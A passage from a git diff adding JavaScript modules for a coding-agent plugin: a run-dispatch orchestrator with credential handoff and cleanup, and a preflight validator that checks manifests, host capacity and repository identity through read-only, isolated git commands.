if (left.code !== right.code) return left.code < right.code ? -1 : 1; + return 0; + }); + return capturedFreeze(unresolved); +} + +function cleanupOutcome(unresolved) { + const sanitized = sanitizeUnresolved(unresolved); + return capturedFreeze({ + cleaned: sanitized.length === 0, + missing: false, + unresolved: sanitized, + }); +} + +async function cleanupIdentities(lanes) { + const unresolved = []; + for (const lane of lanes) { + const assignmentId = lane?.assignmentId; + try { + const recovered = await recoverCredentialHandoffByIdentity(lane.identity); + if (recovered?.cleaned !== true) { + unresolved.push({ assignment_id: assignmentId, code: 'handoff_cleanup_failed' }); + } + } catch { + unresolved.push({ assignment_id: assignmentId, code: 'handoff_cleanup_failed' }); + } + } + return unresolved; +} + +async function stopDispatchers(stops) { + const unresolved = []; + for (const entry of stops) { + const stop = typeof entry === 'function' ? entry : entry?.stop; + if (typeof stop !== 'function') continue; + try { + await stop(); + } catch { + unresolved.push({ + assignment_id: typeof entry === 'object' && entry ? entry.assignmentId : undefined, + code: 'dispatcher_stop_failed', + }); + } + } + return unresolved; +} + +async function cleanupSession(session) { + if (!session) { + return capturedFreeze({ + cleaned: false, + missing: true, + unresolved: capturedFreeze([]), + }); + } + const unresolved = []; + const stopFailures = await stopDispatchers(session.stops ?? []); + for (const entry of stopFailures) unresolved.push(entry); + const lanes = Array.isArray(session.internal) ? session.internal : []; + const handoffFailures = await cleanupIdentities(lanes); + for (const entry of handoffFailures) unresolved.push(entry); + session.stops = []; + const outcome = cleanupOutcome(unresolved); + session.cleaned = outcome.cleaned; + return outcome; +} + +async function createLaneHandoff(lane) { + const secrets = extractCredentialEnv(lane.env); + if (Object.keys(secrets).length === 0) return null; + return createCredentialHandoff(secrets, { identity: lane.identity }); +} + +async function dispatchLanes(internal, parsed, sideEffects) { + if (typeof parsed.dispatch !== 'function') { + failOrchestration('orchestration_dispatcher_required', 'options.dispatch'); + } + for (const lane of internal) { + if (lane.unresolved) failOrchestration('orchestration_selection_unresolved', 'lanes'); + } + const identities = internal.map((lane) => lane.identity); + const stops = []; + const session = { identities, stops, internal, parsed, cleaned: false }; + try { + for (const lane of internal) { + if (inspectArgvForSecrets(lane.argv, lane.secrets) + || inspectArgvForSecrets(lane.argv, collectLaneSecrets(lane.env))) { + failOrchestration('orchestration_argv_secret_denied', 'dispatch'); + } + const handoff = await createLaneHandoff(lane); + if (handoff) sideEffects.credential_handoff_created = true; + const result = await parsed.dispatch(capturedFreeze({ + assignment_id: lane.assignmentId, + provider: lane.provider, + model: lane.model, + env: lane.env, + argv: lane.argv, + identity: lane.identity, + })); + sideEffects.task_dispatched = true; + sideEffects.provider_process_started = true; + if (result && typeof result.stop === 'function') { + stops.push({ assignmentId: lane.assignmentId, identity: lane.identity, stop: result.stop }); + } + } + } catch (error) { + await cleanupSession(session); + if (error instanceof RunContractV1Error || error instanceof CredentialBoundaryError) throw error; + failOrchestration('orchestration_dispatch_failed', 'dispatch'); + } + return session; +} + +export async function orchestrateRunDispatchV1(request, options) { + const parsedRequest = parseRequest(request); + const parsedOptions = parseOptions(options); + const sideEffects = emptySideEffects(); + const preflight = await validateRunPreflightV1( + { manifest: parsedRequest.manifest }, + preflightOptionsFrom(parsedOptions), + ); + const envSource = takeEnvAfterPreflight(parsedOptions); + const sessionNonce = newSessionNonce(); + const projected = await projectManifestLanes( + preflight.run_id, + parsedRequest.manifest.assignments, + envSource, + sessionNonce, + ); + sideEffects.credentials_projected = projected.internal.some((lane) => !lane.unresolved); + let session = null; + let status = 'prepared'; + if (parsedRequest.intent === 'dispatch') { + session = await dispatchLanes(projected.internal, parsedOptions, sideEffects); + } + if (parsedRequest.intent === 'dispatch') status = 'dispatched'; + const receipt = buildReceipt({ + status, + runId: preflight.run_id, + intent: parsedRequest.intent, + preflight, + lanes: projected.publicLanes, + sideEffects, + }); + PRIVATE_SESSIONS.set(receipt, { + identities: projected.internal.map((lane) => lane.identity), + stops: session?.stops ?? [], + internal: projected.internal, + parsed: parsedOptions, + cleaned: false, + }); + return receipt; +} + +function requireSession(receipt) { + assertNotProxy(receipt, 'receipt'); + if (receipt === undefined || receipt === null || (typeof receipt !== 'object' && typeof receipt !== 'function')) { + failOrchestration('orchestration_session_unknown', 'receipt'); + } + let session; + try { + session = PRIVATE_SESSIONS.get(receipt); + } catch { + failOrchestration('orchestration_session_unknown', 'receipt'); + } + if (!session) failOrchestration('orchestration_session_unknown', 'receipt'); + return session; +} + +function lifecycleResult(status, cleanup, extra = {}) { + return freezeData({ + status, + cleaned: cleanup.cleaned === true, + missing: cleanup.missing === true, + unresolved: cleanup.unresolved, + ...extra, + }); +} + +export async function cancelRunDispatchV1(receipt) { + const session = requireSession(receipt); + const cleanup = await cleanupSession(session); + return lifecycleResult('cancelled', cleanup); +} + +export async function completeRunDispatchV1(receipt) { + const session = requireSession(receipt); + const cleanup = await cleanupSession(session); + return lifecycleResult('terminal', cleanup); +} + +export async function restartRunDispatchV1(receipt, options) { + const session = requireSession(receipt); + const previous = await cleanupSession(session); + if (previous.cleaned !== true) { + return lifecycleResult('dispatched', previous, { restarted: false }); + } + const parsed = parseOptions(options); + const dispatch = parsed.dispatch ?? session.parsed.dispatch; + if (typeof dispatch !== 'function') { + failOrchestration('orchestration_dispatcher_required', 'options.dispatch'); + } + const restartOptions = { + ...session.parsed, + dispatch, + }; + const sideEffects = emptySideEffects(); + sideEffects.credentials_projected = true; + const next = await dispatchLanes(session.internal, restartOptions, sideEffects); + session.stops = next.stops; + session.parsed = restartOptions; + session.cleaned = false; + return freezeData({ + status: 'dispatched', + cleaned: false, + restarted: true, + unresolved: capturedFreeze([]), + side_effects: capturedFreeze(sideEffects), + }); +} + +export function denyRunRemoteMutationV1(operation) { + return denyWorkerRemoteMutation(operation); +} + +export function describeRunOrchestrationV1() { + const inventory = capturedFreeze({ + schema: RUN_ORCHESTRATION_SCHEMA_ID, + version: RUN_ORCHESTRATION_VERSION, + rule: 'preflight_then_closed_projection_before_any_launch_side_effect', + intents: ORCHESTRATION_INTENTS, + checks: RUN_ORCHESTRATION_CHECKS, + error_codes: RUN_ORCHESTRATION_ERROR_CODES, + side_effects: RUN_ORCHESTRATION_SIDE_EFFECTS, + always_false_side_effects: RUN_ORCHESTRATION_ALWAYS_FALSE_SIDE_EFFECTS, + composed_surfaces: capturedFreeze({ + preflight: RUN_PREFLIGHT_SCHEMA_ID, + credential_boundary: CREDENTIAL_BOUNDARY_SCHEMA_ID, + credential_error_codes: CREDENTIAL_BOUNDARY_ERROR_CODES, + preflight_error_codes: RUN_PREFLIGHT_ERROR_CODES, + preflight_nonclaims: RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS, + provider_registry: 'P23 registry owns composition; not invoked here', + protected_ref_audit: 'P30 live-ref audit is not invoked here', + supervisor_server: 'no cutover; dispatch is an injected seam', + public_api: 'not exposed', + gate_a: 'not claimed', + }), + }); + return freezeData(inventory); +} + +capturedFreeze(orchestrateRunDispatchV1); +capturedFreeze(cancelRunDispatchV1); +capturedFreeze(completeRunDispatchV1); +capturedFreeze(restartRunDispatchV1); +capturedFreeze(denyRunRemoteMutationV1); +capturedFreeze(describeRunOrchestrationV1); diff --git a/plugins/codex-co-engineer/mcp/v3/run-preflight.mjs b/plugins/codex-co-engineer/mcp/v3/run-preflight.mjs new file mode 100644 index 0000000..e03651a --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/run-preflight.mjs @@ -0,0 +1,843 @@ +// RunPreflightV1 — launch-side preflight validation gate (P26). +// +// Additive v3 module. It sits between an authored run submission and any +// later launch surface and validates ONLY: a passing preflight creates no +// workspace, no branch or ref, no task dispatch, no credential projection, +// no remote mutation, and no reservation; a failing preflight leaves even +// less. The module performs no filesystem write of any kind, and its only +// process spawns are read-only git observations (`rev-parse`, `cat-file -t`, +// `for-each-ref`) run argv-only under the accepted closed git environment +// with `--no-replace-objects --no-optional-locks`, disabled fsmonitor and +// hooks, so even advisory lock files cannot appear as an observation +// side effect. +// +// What one preflight validates, in a fixed fail-fast pipeline: +// 1. hostile-input quarantine of the whole request (Proxies, symbols, +// non-enumerables, aliases, exotic prototypes) before any byte is +// interpreted; +// 2. the complete accepted P02 run contract through +// `parseRunManifestV1()` — envelope, deep AssignmentManifestV1, +// RunPolicyV1 literals, and overlapping-writer-scope detection — so +// every upstream denial code keeps its accepted meaning; +// 3. exact canonical repository/base identity observed on the host: the +// submitted path must be a real directory identical to its own +// realpath (never a symlink alias or alternate spelling), inside a +// work tree, not bare, with a trusted `.git` layout whose resolved +// target equals the observed git directory, and the submitted base +// must exist in that repository as exactly one commit object with no +// replace refs shadowing object identity; +// 4. a detached, deeply frozen receipt carrying the observed facts plus +// a P03-bound GitIdentityV1 for direct P24 run-store compatibility. +// +// Composition stays additive: manifest/policy semantics belong to the P02 +// modules, the GitIdentityV1 digest binding belongs to the P03 authority, +// selection resolution stays behind the P05 resolver (never invoked here), +// provider composition stays behind the P23 registry (never invoked here), +// and durable submission stays behind the P24 store (nothing is written +// here). There is no supervisor/server cutover, no scheduling, no dispatch, +// no workspace provisioning, and no cleanup ownership. + +import { spawn as nodeSpawn } from 'node:child_process'; +import { lstat as nodeLstat, readFile as nodeReadFile, realpath as nodeRealpath } from 'node:fs/promises'; +import * as nodeOs from 'node:os'; +import * as nodePath from 'node:path'; + +import { + capturedFreeze, + capturedIncludes, + capturedIsArray, + capturedOwnKeys, +} from './grammar.mjs'; +import { + GIT_CLOSED_ENV, + GIT_EXECUTABLE, + MAX_GIT_ARG_BYTES, + MAX_GIT_ARGS, + MAX_GIT_OUTPUT_BYTES, + MAX_GIT_TIME_MS, + MAX_GIT_TOTAL_TIME_MS, +} from './git-identity.mjs'; +import { buildGitIdentityV1 } from './protected-identity.mjs'; +import { + ASSIGNMENT_ALLOWED_KEYS, + RunContractV1Error, + isPlainObject, + writerScopesOverlap, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + fail, + freezeData, + hasOwn, + ownDataValue, +} from './selection-json.mjs'; +import { parseRunManifestV1 } from './run-policy.mjs'; + +export const RUN_PREFLIGHT_SCHEMA_ID = 'codex-co-engineer.run-preflight.v1'; +export const RUN_PREFLIGHT_VERSION = 1; + +// The launch boundary owns its child bounds as frozen literals. They are +// deliberately NOT derived from any quota, plan, or grammar constant, so a +// routine quota change anywhere else can never widen this invariant. +export const PREFLIGHT_MIN_CHILDREN = 1; +export const PREFLIGHT_MAX_CHILDREN = 8; + +// Deterministic capacity model: every concurrently running child is +// guaranteed a schedulable CPU slot and a private RAM floor. +export const PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD = 268_435_456; + +export const PREFLIGHT_REQUEST_ALLOWED_KEYS = capturedFreeze(['manifest']); +export const PREFLIGHT_OPTIONS_ALLOWED_KEYS = capturedFreeze(['host', 'spawn']); +export const PREFLIGHT_HOST_FACTS_ALLOWED_KEYS = capturedFreeze([ + 'cpu_parallelism', 'total_ram_bytes', 'available_ram_bytes', +]); + +// Read-only git observations are the only spawns this boundary may issue, +// under the accepted isolation flags. Anything else is a defect, not an +// extension point. +export const RUN_PREFLIGHT_READONLY_GIT_COMMANDS = capturedFreeze([ + 'rev-parse', 'cat-file', 'for-each-ref', +]); + +const PRIVATE_GIT_ISOLATION_FLAGS = capturedFreeze([ + '--no-replace-objects', + '--no-optional-locks', + '--literal-pathspecs', + '-c', 'core.useReplaceRefs=false', + '-c', 'core.hooksPath=/dev/null', + '-c', 'gc.auto=0', + '-c', 'advice.detachedHead=false', + '-c', 'log.showSignature=false', + '-c', 'core.fsmonitor=', + '-c', 'core.useBuiltinFSMonitor=false', + '-c', 'core.untrackedCache=false', +]); + +const PRIVATE_MAX_LAYOUT_FILE_BYTES = 4096; +const PRIVATE_MAX_GIT_COMMANDS = 8; +const PRIVATE_BASE_TYPE = 'commit'; +const PRIVATE_TRUE_FALSE_PATTERN = /^(?:true|false)$/u; +const PRIVATE_SINGLE_LINE_PATTERN = /^[^\n\r\0]*$/u; +const PRIVATE_GITDIR_LINE_PATTERN = /^gitdir: (\/[^\n\r\0]*)$/u; + +export const RUN_PREFLIGHT_CHECKS = capturedFreeze([ + 'request_quarantine', + 'child_bounds', + 'complete_run_manifest', + 'independent_fanout', + 'host_capacity', + 'canonical_repository', + 'exact_base_commit', + 'no_replace_refs', +]); + +export const RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS = capturedFreeze([ + 'workspace_created', + 'branch_or_ref_created', + 'task_dispatched', + 'credentials_projected', + 'remote_mutated', + 'reservation_held', +]); + +// Closed vocabulary of the codes this boundary owns. Upstream codes raised +// by the composed accepted validators pass through unchanged and stay +// authoritative for their surfaces. +export const RUN_PREFLIGHT_ERROR_CODES = capturedFreeze([ + 'preflight_child_count_below_minimum', + 'preflight_child_count_exceeded', + 'preflight_dependency_edge_denied', + 'preflight_duplicate_child_id', + 'host_cpu_capacity_exceeded', + 'host_ram_capacity_exceeded', + 'spawn_invalid', + 'host_facts_invalid', + 'observation_failed', + 'repository_missing', + 'repository_not_canonical', + 'repository_layout_invalid', + 'base_identity_invalid', + 'replace_refs_denied', + 'bounds_exceeded', +]); + +const PRIVATE_RECEIPT_KEYS = capturedFreeze([ + 'schema', 'version', 'status', 'run_id', 'children', 'capacity', 'repository', + 'checks', 'side_effects', 'git_identity', +]); +const PRIVATE_CHILD_SUMMARY_KEYS = capturedFreeze([ + 'count', 'minimum', 'maximum', 'independent', 'concurrency', 'assignment_ids', + 'scope_pair_checks', +]); +const PRIVATE_CAPACITY_SUMMARY_KEYS = capturedFreeze([ + 'source', 'cpu_parallelism', 'total_ram_bytes', 'available_ram_bytes', + 'required_ram_bytes', 'cpu_ok', 'ram_ok', +]); +const PRIVATE_REPOSITORY_FACTS_KEYS = capturedFreeze([ + 'path', 'base_sha', 'object_type', 'git_dir', +]); + +function failPreflight(code, path, message) { + fail(code, path, message); +} + +function contractError(code, path, message) { + return new RunContractV1Error(code, path, message); +} + +function sortedOwnKeys(value) { + const keys = capturedOwnKeys(value); + const sorted = [...keys]; + sorted.sort(); + return sorted; +} + +function assertClosedKeySet(value, allowedKeys, path) { + for (const key of sortedOwnKeys(value)) { + if (!capturedIncludes(allowedKeys, key)) { + failPreflight('invalid_format', `${path}.${key}`, + `${path} carries a key outside the closed preflight vocabulary.`); + } + } +} + +function requiredKey(value, key, path) { + if (!hasOwn(value, key)) { + failPreflight('missing_key', `${path}.${key}`, + `${path}.${key} is required (${RUN_PREFLIGHT_SCHEMA_ID}); preflight requests have no hidden defaults.`); + } + return ownDataValue(value, key, `${path}.${key}`); +} + +function defaultSpawn() { + return nodeSpawn; +} + +function parseOptions(options) { + if (options === undefined) { + return capturedFreeze({ host: null, spawn: defaultSpawn() }); + } + assertNotProxy(options, 'options'); + if (!isPlainObject(options)) { + failPreflight('invalid_type', 'options', 'options must be a plain JSON data object.'); + } + assertClosedKeySet(options, PREFLIGHT_OPTIONS_ALLOWED_KEYS, 'options'); + // The spawn seam is a trusted process handle, not JSON data: it is + // validated directly and kept out of the JSON closure walk. + let spawn = defaultSpawn(); + if (hasOwn(options, 'spawn')) { + spawn = ownDataValue(options, 'spawn', 'options.spawn'); + if (typeof spawn !== 'function') { + failPreflight('invalid_type', 'options.spawn', 'options.spawn must be a spawn function.'); + } + assertNotProxy(spawn, 'options.spawn'); + } + let host = null; + if (hasOwn(options, 'host')) { + host = parseHostFacts(ownDataValue(options, 'host', 'options.host')); + } + return capturedFreeze({ host, spawn }); +} + +function ambientHostFacts() { + const os = nodeOs; + let parallelism; + try { + parallelism = typeof os.availableParallelism === 'function' ? os.availableParallelism() : os.cpus().length; + } catch { + parallelism = 0; + } + let total; + try { + total = os.totalmem(); + } catch { + total = 0; + } + let available; + try { + available = os.freemem(); + } catch { + available = 0; + } + return capturedFreeze({ + cpu_parallelism: parallelism, + total_ram_bytes: total, + available_ram_bytes: available, + }); +} + +function parseHostFacts(value) { + assertNotProxy(value, 'options.host'); + if (!isPlainObject(value)) { + failPreflight('invalid_type', 'options.host', 'options.host must be a plain JSON data object.'); + } + assertDirectJsonClosure(value, 'options.host'); + assertClosedKeySet(value, PREFLIGHT_HOST_FACTS_ALLOWED_KEYS, 'options.host'); + const facts = {}; + for (const key of PREFLIGHT_HOST_FACTS_ALLOWED_KEYS) { + const factValue = requiredKey(value, key, 'options.host'); + if (typeof factValue !== 'number' || !Number.isSafeInteger(factValue) || factValue < 0) { + failPreflight('host_facts_invalid', `options.host.${key}`, + 'Injected host facts must be non-negative safe integers.'); + } + facts[key] = factValue; + } + return capturedFreeze(facts); +} + +function parseRequest(request) { + if (request === undefined || request === null) { + failPreflight('invalid_type', 'request', 'A preflight request must be a plain JSON data object.'); + } + assertDirectJsonClosure(request, 'request'); + assertNotProxy(request, 'request'); + if (!isPlainObject(request)) { + failPreflight('invalid_type', 'request', 'A preflight request must be a plain JSON data object.'); + } + assertClosedKeySet(request, PREFLIGHT_REQUEST_ALLOWED_KEYS, 'request'); + const manifest = requiredKey(request, 'manifest', 'request'); + return manifest; +} + +// The public maximum eight children per run is enforced HERE, at the launch +// boundary, against this module's own frozen literals and BEFORE the composed +// upstream contract runs. A routine quota change anywhere else therefore can +// never widen this invariant: even a future grammar that tolerates more +// children still fails preflight with the boundary's own denial. +function enforceChildBounds(manifest) { + assertNotProxy(manifest, 'request.manifest'); + if (!isPlainObject(manifest)) { + failPreflight('invalid_type', 'request.manifest', + 'request.manifest must be a plain JSON data object.'); + } + if (!hasOwn(manifest, 'assignments')) return; // upstream owns missing_key + const assignments = ownDataValue(manifest, 'assignments', 'request.manifest.assignments'); + if (!capturedIsArray(assignments)) return; // upstream owns invalid_type + const count = assignments.length; + if (count < PREFLIGHT_MIN_CHILDREN) { + failPreflight('preflight_child_count_below_minimum', 'assignments', + `A run must carry at least ${PREFLIGHT_MIN_CHILDREN} child assignment.`); + } + if (count > PREFLIGHT_MAX_CHILDREN) { + failPreflight('preflight_child_count_exceeded', 'assignments', + `A run exceeds the public maximum of ${PREFLIGHT_MAX_CHILDREN} independent child assignments.`); + } +} + +// Independent fanout: no submitted child may carry a dependency edge of any +// shape, and every child id must be unique within the run. The accepted P02 +// contract already denies both; this boundary re-asserts it over the detached +// frozen snapshot so the launch gate keeps its own evidence. +function assertIndependentFanout(snapshot) { + const assignments = snapshot.assignments; + const seenIds = new Set(); + for (let index = 0; index < assignments.length; index += 1) { + const assignment = assignments[index]; + const assignmentPath = `assignments[${index}]`; + for (const key of sortedOwnKeys(assignment)) { + if (!capturedIncludes(ASSIGNMENT_ALLOWED_KEYS, key)) { + failPreflight('preflight_dependency_edge_denied', `${assignmentPath}.${key}`, + 'Child assignments are independent; dependency edges of any shape are denied.'); + } + } + const idPath = `${assignmentPath}.assignment_id`; + const assignmentId = assignment.assignment_id; + if (seenIds.has(assignmentId)) { + failPreflight('preflight_duplicate_child_id', idPath, + 'Child assignment ids must be unique within one run.'); + } + seenIds.add(assignmentId); + } +} + +function summarizeChildren(snapshot) { + const assignments = snapshot.assignments; + const ids = []; + let pairChecks = 0; + for (let index = 0; index < assignments.length; index += 1) { + ids.push(assignments[index].assignment_id); + } + // Evidence bound: the same pairwise enumeration the disjointness check + // performs, counted here so the receipt proves the work without echoing + // any pattern text. + for (let left = 0; left < assignments.length; left += 1) { + if (assignments[left].access !== 'writer') continue; + for (let right = left + 1; right < assignments.length; right += 1) { + if (assignments[right].access !== 'writer') continue; + pairChecks += assignments[left].write_scope.length * assignments[right].write_scope.length; + } + } + return capturedFreeze({ + count: assignments.length, + minimum: PREFLIGHT_MIN_CHILDREN, + maximum: PREFLIGHT_MAX_CHILDREN, + independent: true, + concurrency: snapshot.policy.max_concurrency, + assignment_ids: capturedFreeze(ids), + scope_pair_checks: pairChecks, + }); +} + +// Capacity denial: every concurrently running child is guaranteed one +// schedulable CPU slot and a private RAM floor. The comparison uses only +// frozen constants and validated integers; denial messages stay fixed +// templates that never echo requested or observed numbers. +function enforceHostCapacity(hostFacts, concurrency) { + const requiredRamBytes = concurrency * PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD; + if (hostFacts.cpu_parallelism < concurrency) { + failPreflight('host_cpu_capacity_exceeded', 'capacity', + 'The host cannot offer every concurrent child a schedulable CPU slot.'); + } + if (hostFacts.available_ram_bytes < requiredRamBytes) { + failPreflight('host_ram_capacity_exceeded', 'capacity', + 'The host cannot offer every concurrent child its private RAM floor.'); + } + return requiredRamBytes; +} + +// Defense-in-depth at the launch boundary: the parsed snapshot is detached +// and frozen, so this pairwise recheck cannot race a caller mutation. The +// comparison is the accepted conservative static-prefix intersection. +function assertSnapshotDisjointWriterScopes(snapshot) { + const assignments = snapshot.assignments; + const scopes = []; + for (let index = 0; index < assignments.length; index += 1) { + const assignment = assignments[index]; + if (!assignment || assignment.access !== 'writer') continue; + scopes.push({ + index, + assignment_id: assignment.assignment_id, + patterns: assignment.write_scope, + }); + } + for (let left = 0; left < scopes.length; left += 1) { + for (let right = left + 1; right < scopes.length; right += 1) { + const leftScope = scopes[left]; + const rightScope = scopes[right]; + for (let leftIndex = 0; leftIndex < leftScope.patterns.length; leftIndex += 1) { + for (let rightIndex = 0; rightIndex < rightScope.patterns.length; rightIndex += 1) { + if (writerScopesOverlap(leftScope.patterns[leftIndex], rightScope.patterns[rightIndex])) { + failPreflight('overlapping_writer_scope', `assignments[${right}].write_scope`, + 'Two child assignments declare overlapping writer scopes; concurrent writers must own disjoint paths.'); + } + } + } + } + } +} + +function createSession(spawnFn) { + return { + spawn: spawnFn, + commands: 0, + startedAt: Date.now(), + deadlineAt: Date.now() + MAX_GIT_TOTAL_TIME_MS, + }; +} + +function assertSessionBounds(session, path) { + if (session.commands >= PRIVATE_MAX_GIT_COMMANDS) { + failPreflight('bounds_exceeded', path, 'The preflight exceeded its git command budget.'); + } + if (Date.now() >= session.deadlineAt) { + failPreflight('bounds_exceeded', path, 'The preflight exceeded its git wall-clock budget.'); + } +} + +function decodeUtf8(bytes, path) { + let text; + try { + text = bytes.toString('utf8'); + } catch { + failPreflight('observation_failed', path, 'A git observation produced an invalid encoding.'); + } + let roundtrip; + try { + roundtrip = Buffer.from(text, 'utf8'); + } catch { + failPreflight('observation_failed', path, 'A git observation produced an invalid encoding.'); + } + if (roundtrip.length !== bytes.length || !roundtrip.equals(bytes)) { + failPreflight('observation_failed', path, 'A git observation produced a non-UTF-8 response.'); + } + return text; +} + +async function runObservation(session, args, pathLabel) { + if (!capturedIsArray(args)) { + failPreflight('observation_failed', pathLabel, 'The preflight observation argv is malformed.'); + } + assertSessionBounds(session, pathLabel); + session.commands += 1; + const argv = [...PRIVATE_GIT_ISOLATION_FLAGS, ...args]; + if (argv.length > MAX_GIT_ARGS) { + failPreflight('bounds_exceeded', pathLabel, 'The preflight observation exceeds the git argv cap.'); + } + for (const arg of argv) { + if (typeof arg !== 'string' || arg.length === 0 || arg.includes('\0') + || Buffer.byteLength(arg, 'utf8') > MAX_GIT_ARG_BYTES) { + failPreflight('observation_failed', pathLabel, 'The preflight observation argv is malformed.'); + } + } + const spawnOptions = { + cwd: '/', + env: GIT_CLOSED_ENV, + stdio: ['ignore', 'pipe', 'pipe'], + windowsHide: true, + }; + const remainingMs = session.deadlineAt - Date.now(); + return new Promise((resolve) => { + let child; + try { + child = session.spawn(GIT_EXECUTABLE, argv, spawnOptions); + } catch { + resolve(contractError('observation_failed', pathLabel, + 'The preflight could not start a git observation.')); + return; + } + if (!child || (typeof child !== 'object' && typeof child !== 'function')) { + resolve(contractError('observation_failed', pathLabel, + 'The preflight could not start a git observation.')); + return; + } + const stdoutChunks = []; + const stderrChunks = []; + let stdoutBytes = 0; + let stderrBytes = 0; + let exceeded = false; + let settled = false; + let timer; + const finish = (error, result) => { + if (settled) return; + settled = true; + clearTimeout(timer); + if (error) resolve(error); + else resolve(result); + }; + const exceed = () => { + if (exceeded) return; + exceeded = true; + try { + child.kill('SIGKILL'); + } catch { /* already exited */ } + finish(contractError('bounds_exceeded', pathLabel, + 'The preflight observation exceeded an output or wall-clock bound.')); + }; + timer = setTimeout(exceed, Math.min(MAX_GIT_TIME_MS, remainingMs)); + const onChunk = (target, getSize, setSize) => (chunk) => { + if (exceeded) return; + const owned = Buffer.isBuffer(chunk) ? chunk : Buffer.from([]); + const next = getSize() + owned.length; + setSize(next); + if (next > MAX_GIT_OUTPUT_BYTES) { + exceed(); + return; + } + target.push(owned); + }; + try { + if (child.stdout && typeof child.stdout.on === 'function') { + child.stdout.on('data', onChunk(stdoutChunks, () => stdoutBytes, (value) => { stdoutBytes = value; })); + } + if (child.stderr && typeof child.stderr.on === 'function') { + child.stderr.on('data', onChunk(stderrChunks, () => stderrBytes, (value) => { stderrBytes = value; })); + } + child.once('error', () => { + finish(contractError('observation_failed', pathLabel, + 'The preflight could not complete a git observation.')); + }); + child.once('close', (code, signal) => { + if (exceeded) return; + if (Date.now() >= session.deadlineAt) { + finish(contractError('bounds_exceeded', pathLabel, + 'The preflight exceeded its git wall-clock budget.')); + return; + } + if (signal !== null && signal !== undefined) { + finish(contractError('observation_failed', pathLabel, + 'The preflight could not complete a git observation.')); + return; + } + finish(null, { + exit_code: typeof code === 'number' ? code : 1, + stdout: decodeUtf8(Buffer.concat(stdoutChunks), pathLabel), + stderr: decodeUtf8(Buffer.concat(stderrChunks), pathLabel), + }); + }); + } catch { + try { + child.kill('SIGKILL'); + } catch { /* already exited */ } + finish(contractError('observation_failed', pathLabel, + 'The preflight could not complete a git observation.')); + } + }); +} + +// Infrastructure failures (spawn start, streams) stay `observation_failed`. +// A child that actually ran and reported failure is reclassified through +// `exitFailureCode` so semantic denials stay precise at this boundary. +async function mustObserve(session, args, pathLabel, options = {}) { + const outcome = await runObservation(session, args, pathLabel); + if (outcome instanceof RunContractV1Error) throw outcome; + if (outcome.exit_code !== 0) { + const { exitFailureCode = 'observation_failed', exitMessage = 'The preflight could not complete a git observation.' } = options; + failPreflight(exitFailureCode, pathLabel, exitMessage); + } + const expectedArgsLength = options.lineCount; + const unexpectedMessage = options.unexpectedMessage + ?? 'A git observation produced an unexpected response.'; + let text = outcome.stdout; + if (text.endsWith('\n')) text = text.slice(0, -1); + if (text.includes('\0') || text.includes('\r')) { + failPreflight('observation_failed', pathLabel, + 'A git observation produced an unexpected response.'); + } + const lines = text.split('\n'); + if (expectedArgsLength !== undefined && lines.length !== expectedArgsLength) { + failPreflight('observation_failed', pathLabel, unexpectedMessage); + } + return lines; +} + +async function readBoundedText(filePath, pathLabel) { + let bytes; + try { + bytes = await nodeReadFile(filePath); + } catch { + failPreflight('repository_layout_invalid', pathLabel, + 'The repository layout is not a trusted git worktree layout.'); + } + if (bytes.length > PRIVATE_MAX_LAYOUT_FILE_BYTES) { + failPreflight('repository_layout_invalid', pathLabel, + 'The repository layout is not a trusted git worktree layout.'); + } + return decodeUtf8(bytes, pathLabel); +} + +async function assertCanonicalDirectory(candidatePath, pathLabel, missingCode) { + let metadata; + try { + metadata = await nodeLstat(candidatePath); + } catch { + failPreflight(missingCode, pathLabel, + 'The submitted repository path does not identify an accessible directory.'); + } + if (typeof metadata?.isDirectory !== 'function' || !metadata.isDirectory() + || (typeof metadata.isSymbolicLink === 'function' && metadata.isSymbolicLink())) { + failPreflight('repository_not_canonical', pathLabel, + 'The submitted repository path must be a real directory, never a symlink alias.'); + } + let resolved; + try { + resolved = await nodeRealpath(candidatePath); + } catch { + failPreflight(missingCode, pathLabel, + 'The submitted repository path does not identify an accessible directory.'); + } + if (resolved !== candidatePath) { + failPreflight('repository_not_canonical', pathLabel, + 'The submitted repository path must equal its own canonical realpath spelling.'); + } + return resolved; +} + +async function observeCanonicalRepository(session, repositoryPath, pathLabel) { + await assertCanonicalDirectory(repositoryPath, `${pathLabel}.path`, 'repository_missing'); + const lines = await mustObserve( + session, + ['-C', repositoryPath, 'rev-parse', '--path-format=absolute', + '--is-inside-work-tree', '--is-bare-repository', '--show-toplevel', '--absolute-git-dir'], + `${pathLabel}.work_tree`, + { + lineCount: 4, + // Only a child that actually ran and reported failure lands here; + // spawn/stream infrastructure failures stay `observation_failed`. + exitFailureCode: 'repository_not_canonical', + exitMessage: 'The submitted repository path must identify a canonical non-bare git work tree root.', + }, + ); + const [inside, bare, toplevel, gitDir] = lines; + if (!PRIVATE_TRUE_FALSE_PATTERN.test(inside) || inside !== 'true' + || !PRIVATE_TRUE_FALSE_PATTERN.test(bare) || bare !== 'false') { + failPreflight('repository_not_canonical', `${pathLabel}.path`, + 'The submitted repository path must identify a non-bare git work tree root.'); + } + if (toplevel !== repositoryPath) { + failPreflight('repository_not_canonical', `${pathLabel}.path`, + 'The submitted repository path must equal the observed git work tree toplevel.'); + } + if (gitDir.length === 0 || !gitDir.startsWith('/') || nodePath.resolve(gitDir) !== gitDir + || !PRIVATE_SINGLE_LINE_PATTERN.test(gitDir)) { + failPreflight('repository_layout_invalid', `${pathLabel}.path`, + 'The repository did not yield a trusted absolute git directory.'); + } + await assertTrustedGitLayout(repositoryPath, gitDir, pathLabel); + return gitDir; +} + +async function assertTrustedGitLayout(repositoryPath, observedGitDir, pathLabel) { + const gitEntryPath = nodePath.join(repositoryPath, '.git'); + let metadata; + try { + metadata = await nodeLstat(gitEntryPath); + } catch { + failPreflight('repository_layout_invalid', `${pathLabel}.path`, + 'The repository layout is not a trusted git worktree layout.'); + } + if ((typeof metadata.isSymbolicLink === 'function' && metadata.isSymbolicLink())) { + failPreflight('repository_layout_invalid', `${pathLabel}.path`, + 'The repository layout is not a trusted git worktree layout.'); + } + let entryTarget; + if (typeof metadata.isDirectory === 'function' && metadata.isDirectory()) { + try { + entryTarget = await nodeRealpath(gitEntryPath); + } catch { + entryTarget = null; + } + } else if (typeof metadata.isFile === 'function' && metadata.isFile()) { + const text = await 